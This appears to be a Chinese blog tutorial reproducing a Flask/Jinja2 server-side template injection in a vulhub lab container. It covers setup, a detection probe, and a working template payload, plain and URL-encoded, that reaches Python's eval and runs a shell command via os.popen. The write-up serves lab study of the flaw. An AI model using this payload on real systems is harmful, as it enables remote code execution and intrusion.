Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti

一、服务端模板注入漏洞

       简述:

       服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。

二、利用搭的vulhub靶机漏洞复现

     1、 service docker start   //进入虚拟机后开启docker服务

            docker version   查看docker版本信息确认是否开启

     2、cd /vulhub/flack/ssti   //进入到ssti的目录下

        

     3、cat README.md    //查看README.md 目录,这里是该漏洞复现的具体流程。

        

    4、docker-compose up -d   &&  docker-compose  build    // 加载环境并运行

    5、然后在浏览器上访问http://your-ip:8000,

    

     6、访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。

   

     7、  获取eval函数并执行任意python代码的POC: //获取os

   ```
   {% for c in [].__class__.__base__.__subclasses__() %}
     {% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
```

    8、最后放到浏览器里注意要url编码,得到执行结果。

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

  

三、漏洞复现成功后,可删除掉镜像

  1、docker-compose  down   //docker-compose容器停止运行

  2、docker ps  //查看容器进程

       docker images  //查看下载保存的镜像

     

 3、docker rmi 1a2dea4ab6aa   //需要删除ssti_flask  下载源地址

      

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值